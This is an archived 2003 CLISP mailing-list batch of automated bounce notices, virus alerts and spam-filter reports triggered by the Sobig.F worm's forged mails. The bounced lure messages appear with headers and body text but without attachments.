<200308192130.h7JLUW2E009483@ums515.nifty.ne.jp> From: To: Subject: Re: Details Date: Tue, 19 Aug 2003 17:30:31 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_031C0F5B" This is a multipart message in MIME format --_NextPart_000_031C0F5B Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_031C0F5B-- --h7JLUdbI009513.1061328639/ums515.nifty.ne.jp-- From MAILER-DAEMON Tue Aug 19 16:47:59 2003 Received: from 66-224-32-84.atgi.net ([66.224.32.84] helo=snafu.sshmail.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pDZh-0004SD-00 for ; Tue, 19 Aug 2003 13:59:29 -0700 Received: by snafu.sshmail.com (Postfix) id 7884823303; Tue, 19 Aug 2003 13:59:24 -0700 (PDT) From: MAILER-DAEMON@wgz.com (Mail Delivery System) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="47C68232E9.1061326764/snafu.sshmail.com" Message-Id: <20030819205924.7884823303@snafu.sshmail.com> Subject: [clisp-list] Undelivered Mail Returned to Sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 16:48:07 2003 X-Original-Date: Tue, 19 Aug 2003 13:59:24 -0700 (PDT) This is a MIME-encapsulated message. --47C68232E9.1061326764/snafu.sshmail.com Content-Description: Notification Content-Type: text/plain This is the Postfix program at host snafu.sshmail.com. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : Command died with status 100: " perl ~/bin/mailfilter.pl". Command output: Your e-mail had the same subject line as a Windows virus. If it's a legitimate message, please change the subject and resend. I'm sorry to do this, but until Microsoft fixes decades-old flaws in their software, I must protect myself. --47C68232E9.1061326764/snafu.sshmail.com Content-Description: Delivery error report Content-Type: message/delivery-status Reporting-MTA: dns; snafu.sshmail.com Arrival-Date: Tue, 19 Aug 2003 13:59:23 -0700 (PDT) Final-Recipient: rfc822; chromatic@sshmail.com Action: failed Status: 5.0.0 Diagnostic-Code: X-Postfix; Command died with status 100: " perl ~/bin/mailfilter.pl". Command output: Your e-mail had the same subject line as a Windows virus. If it's a legitimate message, please change the subject and resend. I'm sorry to do this, but until Microsoft fixes decades-old flaws in their software, I must protect myself. --47C68232E9.1061326764/snafu.sshmail.com Content-Description: Undelivered Message Content-Type: message/rfc822 Received: from snafu.wgz.org (sub27-241.member.dsl-only.net [63.105.27.241]) by snafu.sshmail.com (Postfix) with ESMTP id 47C68232E9 for ; Tue, 19 Aug 2003 13:59:23 -0700 (PDT) Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by snafu.wgz.org (8.11.6/8.11.6) with ESMTP id h7JKxMV16753 for ; Tue, 19 Aug 2003 13:59:22 -0700 Message-Id: <200308192059.h7JKxMV16753@snafu.wgz.org> From: To: Subject: Re: That movie Date: Tue, 19 Aug 2003 16:59:22 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_02FF8453" This is a multipart message in MIME format --_NextPart_000_02FF8453 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_02FF8453-- --47C68232E9.1061326764/snafu.sshmail.com-- From MAILER-DAEMON Tue Aug 19 16:59:56 2003 Received: from ums515.nifty.ne.jp ([202.248.20.217]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pD4Y-0006YW-00 for ; Tue, 19 Aug 2003 13:27:18 -0700 Received: from localhost (localhost) by ums515.nifty.ne.jp id h7JKRHbI009268; Wed, 20 Aug 2003 05:27:17 +0900 From: Mail Delivery Subsystem Message-Id: <200308192027.h7JKRHbI009268@ums515.nifty.ne.jp> To: MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="h7JKRHbI009268.1061324837/ums515.nifty.ne.jp" Auto-Submitted: auto-generated (failure) Subject: [clisp-list] Returned mail: see transcript for details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 17:00:12 2003 X-Original-Date: Wed, 20 Aug 2003 05:27:17 +0900 This is a MIME-encapsulated message --h7JKRHbI009268.1061324837/ums515.nifty.ne.jp The original message was received at Wed, 20 Aug 2003 05:27:02 +0900 from d-128-78-122.bootp.Virginia.EDU [128.143.78.122] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.2.2 Sorry, Now this mailbox is full: QWF00133@nifty.com) ----- Transcript of session follows ----- ... while talking to [172.22.54.173]: >>> DATA <<< 552 5.2.2 Sorry, Now this mailbox is full: QWF00133@nifty.com 554 5.0.0 Service unavailable (Sorry, Now this mailbox is full: QWF00133@nifty.com) --h7JKRHbI009268.1061324837/ums515.nifty.ne.jp Content-Type: message/delivery-status Reporting-MTA: dns; ums515.nifty.ne.jp Arrival-Date: Wed, 20 Aug 2003 05:27:02 +0900 Final-Recipient: RFC822; QWF00133@niftyserve.or.jp X-Actual-Recipient: RFC822; QWF00133@nifty.com Action: failed Status: 5.2.2 Diagnostic-Code: SMTP; 552 5.2.2 Sorry, Now this mailbox is full: QWF00133@nifty.com Last-Attempt-Date: Wed, 20 Aug 2003 05:27:17 +0900 --h7JKRHbI009268.1061324837/ums515.nifty.ne.jp Content-Type: message/rfc822 Return-Path: Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by ums515.nifty.ne.jp with ESMTP id h7JKR22E009206 for ; Wed, 20 Aug 2003 05:27:02 +0900 Message-Id: <200308192027.h7JKR22E009206@ums515.nifty.ne.jp> From: To: Subject: Your details Date: Tue, 19 Aug 2003 16:27:02 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_02E1EAF2" This is a multipart message in MIME format --_NextPart_000_02E1EAF2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_02E1EAF2-- --h7JKRHbI009268.1061324837/ums515.nifty.ne.jp-- From MAILER-DAEMON Tue Aug 19 17:31:02 2003 Received: from terra.polito.it ([130.192.3.81] helo=polito.it) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pGEF-00058z-00 for ; Tue, 19 Aug 2003 16:49:31 -0700 From: MAILER-DAEMON@polito.it To: Message-ID: MIME-Version: 1.0 Content-Type: multipart/report; report-type="delivery-status"; boundary="_===10554936====polito.it===_" Subject: [clisp-list] Undeliverable mail: Thank you! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 17:32:03 2003 X-Original-Date: Wed, 20 Aug 2003 01:49:27 +0200 --_===10554936====polito.it===_ Content-Type: text/plain; charset="utf-8" Failed to deliver to '' LOCAL module(account beccari) reports: unknown user account --_===10554936====polito.it===_ Content-Type: message/delivery-status Reporting-MTA: dns; polito.it Original-Recipient: rfc822; Final-Recipient: LOCAL;<> Action: failed Status: 5.0.0 --_===10554936====polito.it===_ Content-Type: text/rfc822-headers Received: from [128.143.78.122] (HELO CE55) by polito.it (CommuniGate Pro SMTP 4.1) with ESMTP id 10554932 for Beccari@polito.it; Wed, 20 Aug 2003 01:49:26 +0200 From: To: Subject: Thank you! Date: Tue, 19 Aug 2003 19:49:29 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_039B405B" Message-ID: --_===10554936====polito.it===_-- From auto-filter@xtra.co.nz Tue Aug 19 17:58:29 2003 Received: from mta201-rme.xtra.co.nz ([210.86.15.144]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7fb-0005vW-00 for ; Tue, 19 Aug 2003 07:41:11 -0700 Received: from localhost ([210.86.15.141]) by mta201-rme.xtra.co.nz with SMTP id <20030819144059.CMSJ1184.mta201-rme.xtra.co.nz@localhost> for ; Wed, 20 Aug 2003 02:40:59 +1200 From: auto-filter@xtra.co.nz To: clisp-list@sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20030819144059.CMSJ1184.mta201-rme.xtra.co.nz@localhost> Subject: [clisp-list] Virus Alert Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 17:59:08 2003 X-Original-Date: Wed, 20 Aug 2003 02:40:59 +1200 An attachment called (WORM_SOBIG.F) in an email that appears to have been sent from your email address to (kit@bishop.net.nz) contained the virus (WORM_SOBIG.F), which has been deleted. If you do not believe you were the actual sender, the Klez virus is likely to be the culprit. The Klez virus works by forging the 'From' address inside the virus infected email, which means you can receive a virus alert from Xtra even if you are not necessarily the actual sender. Information on Xtra's anti-virus email filter: http://xtra.co.nz/anti-virus More on the Klez virus: http://xtra.co.nz/help/0,,6156-1347943,00.html Help with filtering anti-virus email alerts from Xtra: http://xtra.co.nz/help/0,,6156-1656774,00.html Help with removing a virus from your computer: http://xtra.co.nz/help/0,,4128-544089,00.html If you have any other questions, please forward this email along with your enquiry to anti-virus@xtra.co.nz From blockmkr@howard.fhcrc.org Tue Aug 19 18:11:00 2003 Received: from umpc01.fhcrc.org ([140.107.92.11] helo=fhcrc.org) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pFhz-0004aO-00 for ; Tue, 19 Aug 2003 16:16:11 -0700 Received: from e500a.fhcrc.org (e500a [140.107.42.21]) by fhcrc.org (8.10.2/8.10.2) with SMTP id h7JNG4125393 for ; Tue, 19 Aug 2003 16:16:04 -0700 (PDT) Received: from howard.fhcrc.org(140.107.16.5) by e500a.fhcrc.org via csmap id 17163; Tue, 19 Aug 2003 16:14:31 -0700 (PDT) Received: from muller.fhcrc.org (muller [140.107.16.40]) by howard.fhcrc.org (8.8.8p2+Sun/8.8.8) with SMTP id QAA00359 for ; Tue, 19 Aug 2003 16:19:29 -0700 (PDT) Received: by muller.fhcrc.org (SMI-8.6/SMI-SVR4) id QAA03784; Tue, 19 Aug 2003 16:13:19 -0700 From: blockmkr@howard.fhcrc.org (Blockmaker E-Mail Server) Message-Id: <200308192313.QAA03784@muller.fhcrc.org> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Blockmaker Error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 18:11:09 2003 X-Original-Date: Tue, 19 Aug 2003 16:13:19 -0700 Blockmaker Error Serious: Unknown sequence format. Known formats are: Serious: Fasta, GenBank, PIR, Swiss Prot, and GCG. Serious: Trying with Fasta format. Only 0 sequence found, need at least 3 Block Maker requires at least 3 sequences Here are the sequences read: From MAILER-DAEMON Tue Aug 19 19:28:54 2003 Received: from smtpout.mac.com ([17.250.248.97]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pERn-00012W-00 for ; Tue, 19 Aug 2003 14:55:23 -0700 Received: from mail13-ce1 (mail13-ce1 [10.13.11.38]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7JLtNDE014741 for ; Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Received: from process-daemon.ms13.mac.com by ms13.mac.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) id <0HJV00B01YWS4F@ms13.mac.com> for clisp-list@lists.sourceforge.net; Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Received: from ms13.mac.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) id <0HJV00B0DZKBHN@ms13.mac.com>; Tue, 19 Aug 2003 14:55:23 -0700 (PDT) From: Internet Mail Delivery To: clisp-list@lists.sourceforge.net Message-id: <0HJV00B0GZKBHN@ms13.mac.com> MIME-version: 1.0 Content-type: multipart/report; boundary="Boundary_(ID_1neMGOm9OxNd+PRc26XTLw)"; report-type=delivery-status Subject: [clisp-list] Delivery Notification: Delivery has failed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 19:29:09 2003 X-Original-Date: Tue, 19 Aug 2003 14:55:23 -0700 (PDT) --Boundary_(ID_1neMGOm9OxNd+PRc26XTLw) Content-type: text/plain; charset=us-ascii Content-language: en-US Content-transfer-encoding: 7BIT This report relates to a message you sent with the following header fields: Return-path: Received: from ims-ms-daemon.ms13.mac.com by ms13.mac.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) id <0HJV00B0DZKBHN@ms13.mac.com> (original mail from clisp-list@lists.sourceforge.net); Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Received: from mac.com (smtpin11-en2 [10.13.10.81]) by ms13.mac.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) with ESMTP id <0HJV00BENZKB2D@ms13.mac.com> for neeracher@mac.com; Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Received: from CE55 (d-128-78-122.bootp.virginia.edu [128.143.78.122]) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7JLsa64018823 for ; Tue, 19 Aug 2003 14:54:49 -0700 (PDT) Date: Tue, 19 Aug 2003 17:54:36 +0400 From: clisp-list@lists.sourceforge.net Subject: Re: Details To: neeracher@mac.com Message-id: <200308192154.h7JLsa64018823@mac.com> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: multipart/mixed; boundary=_NextPart_000_033245C6 Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MailScanner: Found to be clean Your message cannot be delivered to the following recipients: Recipient address: neeracher@ims-ms-daemon Original address: neeracher@mac.com Reason: Over quota --Boundary_(ID_1neMGOm9OxNd+PRc26XTLw) Content-type: message/delivery-status Reporting-MTA: dns;ms13.mac.com (ims-ms-daemon) Original-recipient: rfc822;neeracher@mac.com Final-recipient: rfc822;neeracher@ims-ms-daemon Action: failed Status: 5.2.2 (Over quota) --Boundary_(ID_1neMGOm9OxNd+PRc26XTLw) Content-type: message/rfc822 Return-path: Received: from ims-ms-daemon.ms13.mac.com by ms13.mac.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) id <0HJV00B0DZKBHN@ms13.mac.com> (original mail from clisp-list@lists.sourceforge.net); Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Received: from mac.com (smtpin11-en2 [10.13.10.81]) by ms13.mac.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) with ESMTP id <0HJV00BENZKB2D@ms13.mac.com> for neeracher@mac.com; Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Received: from CE55 (d-128-78-122.bootp.virginia.edu [128.143.78.122]) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7JLsa64018823 for ; Tue, 19 Aug 2003 14:54:49 -0700 (PDT) Date: Tue, 19 Aug 2003 17:54:36 +0400 From: clisp-list@lists.sourceforge.net Subject: Re: Details To: neeracher@mac.com Message-id: <200308192154.h7JLsa64018823@mac.com> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: multipart/mixed; boundary="Boundary_(ID_N/ImLSuUEVEg9tAlSt+Ltw)" Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MailScanner: Found to be clean This is a multipart message in MIME format --Boundary_(ID_N/ImLSuUEVEg9tAlSt+Ltw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Please see the attached file for details. --Boundary_(ID_N/ImLSuUEVEg9tAlSt+Ltw)-- --Boundary_(ID_1neMGOm9OxNd+PRc26XTLw)-- From MAILER-DAEMON Tue Aug 19 21:30:54 2003 Received: from mx5.mx.voyager.net ([216.93.66.84]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pEaC-00032t-00 for ; Tue, 19 Aug 2003 15:04:04 -0700 Received: from localhost (localhost) by mx5.mx.voyager.net (8.12.9/8.10.2) id h7JM43Pe019930; Tue, 19 Aug 2003 18:04:03 -0400 (EDT) From: Mail Delivery Subsystem Message-Id: <200308192204.h7JM43Pe019930@mx5.mx.voyager.net> To: MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="h7JM43Pe019930.1061330643/mx5.mx.voyager.net" Auto-Submitted: auto-generated (failure) Subject: [clisp-list] Returned mail: see transcript for details Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 21:31:11 2003 X-Original-Date: Tue, 19 Aug 2003 18:04:03 -0400 (EDT) This is a MIME-encapsulated message --h7JM43Pe019930.1061330643/mx5.mx.voyager.net The original message was received at Tue, 19 Aug 2003 18:04:03 -0400 (EDT) from d-128-78-122.bootp.Virginia.EDU [128.143.78.122] ----- The following addresses had permanent fatal errors ----- (reason: 550 no such email address) ----- Transcript of session follows ----- ... while talking to lmtpredir0.mx.voyager.net.: >>> RCPT To: <<< 550 no such email address 550 5.1.1 ... User unknown --h7JM43Pe019930.1061330643/mx5.mx.voyager.net Content-Type: message/delivery-status Reporting-MTA: dns; mx5.mx.voyager.net Received-From-MTA: DNS; d-128-78-122.bootp.Virginia.EDU Arrival-Date: Tue, 19 Aug 2003 18:04:03 -0400 (EDT) Final-Recipient: RFC822; angjh@execpc.com Action: failed Status: 5.1.1 Diagnostic-Code: X-Unix; 550 no such email address Last-Attempt-Date: Tue, 19 Aug 2003 18:04:03 -0400 (EDT) --h7JM43Pe019930.1061330643/mx5.mx.voyager.net Content-Type: message/rfc822 Return-Path: Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by mx5.mx.voyager.net (8.12.9/8.10.2) with ESMTP id h7JM43Pe019918 for ; Tue, 19 Aug 2003 18:04:03 -0400 (EDT) Message-Id: <200308192204.h7JM43Pe019918@mx5.mx.voyager.net> From: To: Subject: Re: Your application Date: Tue, 19 Aug 2003 18:04:02 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_033AB7FC" This is a multipart message in MIME format --_NextPart_000_033AB7FC Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_033AB7FC-- --h7JM43Pe019930.1061330643/mx5.mx.voyager.net-- From LISTSERV@java.sun.com Tue Aug 19 21:42:25 2003 Received: from swjscmail2.sun.com ([192.18.99.108] helo=swjscmail2.java.sun.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pHP0-0001v5-00 for ; Tue, 19 Aug 2003 18:04:42 -0700 Received: from swjscmail1 (swjscmail1.Sun.COM [192.18.99.107]) by swjscmail2.java.sun.com (Postfix) with ESMTP id F20F621B4F for ; Tue, 19 Aug 2003 19:00:02 -0600 (MDT) From: "L-Soft list server at Sun Microsystems Inc. (1.8e)" To: clisp-list@LISTS.SOURCEFORGE.NET Message-ID: Subject: [clisp-list] Re: Wicked screensaver Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 21:43:06 2003 X-Original-Date: Tue, 19 Aug 2003 18:56:47 -0600 > Please see the attached file for details. Unknown command - "PLEASE". Try HELP. Summary of resource utilization ------------------------------- CPU time: 0.000 sec Overhead CPU: 0.000 sec CPU model: 4-CPU Ultra-80 Job origin: clisp-list@LISTS.SOURCEFORGE.NET From MAILER-DAEMON Tue Aug 19 22:35:02 2003 Received: from mail.cybercom.net ([64.46.128.100]) by sc8-sf-list1.sourceforge.net with smtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19pIT3-00054a-00 for ; Tue, 19 Aug 2003 19:12:57 -0700 Received: (qmail 21413 invoked for bounce); 20 Aug 2003 02:12:50 -0000 From: MAILER-DAEMON@mail.cybercom.net To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] failure notice Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 22:36:06 2003 X-Original-Date: 20 Aug 2003 02:12:50 -0000 Hi. This is the qmail-send program at mail.cybercom.net. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. : Sorry, no mailbox here by that name. vpopmail (#5.1.1) --- Below this line is a copy of the message. Return-Path: Received: (qmail 21408 invoked by uid 64014); 20 Aug 2003 02:12:50 -0000 Received: from clisp-list@lists.sourceforge.net by mail by uid 1000 with qmail-scanner-1.16 (clamscan: 0.54. spamassassin: 2.53. Clear:SA:1(9.5/5.0):. Processed in 31.441333 secs); 20 Aug 2003 02:12:50 -0000 Received: from unknown (HELO CE55) (128.143.78.122) by 0 with SMTP; 20 Aug 2003 02:12:18 -0000 From: To: Date: Tue, 19 Aug 2003 22:12:18 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_041E0353" X-Qmail-Scanner-Message-ID: <106134553853720659@mail> X-Spam-Status: Yes, hits=9.5 required=5.0 tests=BAYES_60,DATE_IN_PAST_03_06,FORGED_MUA_OUTLOOK, INVALID_DATE,MIME_BOUND_NEXTPART,MISSING_MIMEOLE, NO_REAL_NAME,RAZOR2_CF_RANGE_91_100,RAZOR2_CHECK version=2.55 X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp) X-Spam-Report: ---- Start SpamAssassin results 9.50 points, 5 required; * 1.1 -- From: does not include a real name * 0.6 -- Invalid Date: header (not RFC 2822) * 1.1 -- BODY: Bayesian classifier says spam probability is 60 to 70% [score: 0.6543] * 1.2 -- BODY: Razor2 gives a spam confidence level between 91 and 100 [cf: 100] * 0.9 -- Listed in Razor2, see http://razor.sf.net/ * 0.3 -- Date: is 3 to 6 hours before Received: date * 0.1 -- Message has X-MSMail-Priority, but no X-MimeOLE * 0.2 -- Spam tool pattern in MIME boundary * 4.0 -- Forged mail pretending to be from MS Outlook ---- End of SpamAssassin results X-Spam-Flag: YES Subject: *** SPAM [09.50] *** Re: Thank you! This is a multipart message in MIME format --_NextPart_000_041E0353 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_041E0353-- From MAILER-DAEMON Tue Aug 19 22:37:11 2003 Received: from atlrel7.hp.com ([156.153.255.213]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pKL7-00072I-00 for ; Tue, 19 Aug 2003 21:12:53 -0700 Received: by atlrel7.hp.com (Postfix) id 112AC1C03D21; Wed, 20 Aug 2003 00:12:53 -0400 (EDT) From: MAILER-DAEMON@atlrel7.hp.com (Mail Delivery System) To: clisp-list@sourceforge.net MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="82C231C034D8.1061352773/atlrel7.hp.com" Message-Id: <20030820041253.112AC1C03D21@atlrel7.hp.com> Subject: [clisp-list] Undelivered Mail Returned to Sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 22:38:02 2003 X-Original-Date: Wed, 20 Aug 2003 00:12:53 -0400 (EDT) This is a MIME-encapsulated message. --82C231C034D8.1061352773/atlrel7.hp.com Content-Description: Notification Content-Type: text/plain This is the Postfix program at host atlrel7.hp.com. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : host smtp.fc.hp.com[15.11.136.119] said: 550 : User unknown --82C231C034D8.1061352773/atlrel7.hp.com Content-Description: Delivery error report Content-Type: message/delivery-status Reporting-MTA: dns; atlrel7.hp.com Arrival-Date: Wed, 20 Aug 2003 00:12:42 -0400 (EDT) Final-Recipient: rfc822; ada@fc.hp.com Action: failed Status: 5.0.0 Diagnostic-Code: X-Postfix; host smtp.fc.hp.com[15.11.136.119] said: 550 : User unknown --82C231C034D8.1061352773/atlrel7.hp.com Content-Description: Undelivered Message Content-Type: message/rfc822 Received: from CE55 (d-128-78-122.bootp.Virginia.EDU [128.143.78.122]) by atlrel7.hp.com (Postfix) with ESMTP id 82C231C034D8 for ; Wed, 20 Aug 2003 00:12:42 -0400 (EDT) From: To: Subject: Re: That movie Date: Wed, 20 Aug 2003 0:12:42 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_048C3C58" Message-Id: <20030820041242.82C231C034D8@atlrel7.hp.com> This is a multipart message in MIME format --_NextPart_000_048C3C58 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_048C3C58-- --82C231C034D8.1061352773/atlrel7.hp.com-- From MAILER-DAEMON Tue Aug 19 22:51:18 2003 Received: from ns1.nuance.com ([208.252.220.9]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pHpz-0001vW-00 for ; Tue, 19 Aug 2003 18:32:35 -0700 Received: from mpb1exbr01.nuance.com (mpb1exbr01.nuance.com [10.0.0.43]) by ns1.nuance.com (Switch-2.2.6/Switch-2.2.6) with ESMTP id h7K1cLh19069 for ; Tue, 19 Aug 2003 18:38:21 -0700 (PDT) Received: from mpb1exch02.nuance.com ([10.0.0.56]) by mpb1exbr01.nuance.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 19 Aug 2003 18:32:29 -0700 From: postmaster@nuance.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="9B095B5ADSN=_01C36165D4B45E8C0001689Fmpb1exch02.nuanc" X-DSNContext: 7ce717b1 - 1148 - 00000002 - 00000000 Message-ID: X-OriginalArrivalTime: 20 Aug 2003 01:32:29.0704 (UTC) FILETIME=[EB792080:01C366BA] Subject: [clisp-list] Delivery Status Notification (Failure) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 22:52:05 2003 X-Original-Date: Tue, 19 Aug 2003 18:32:29 -0700 This is a MIME-formatted message. Portions of this message may be unreadable without a MIME-capable mail program. 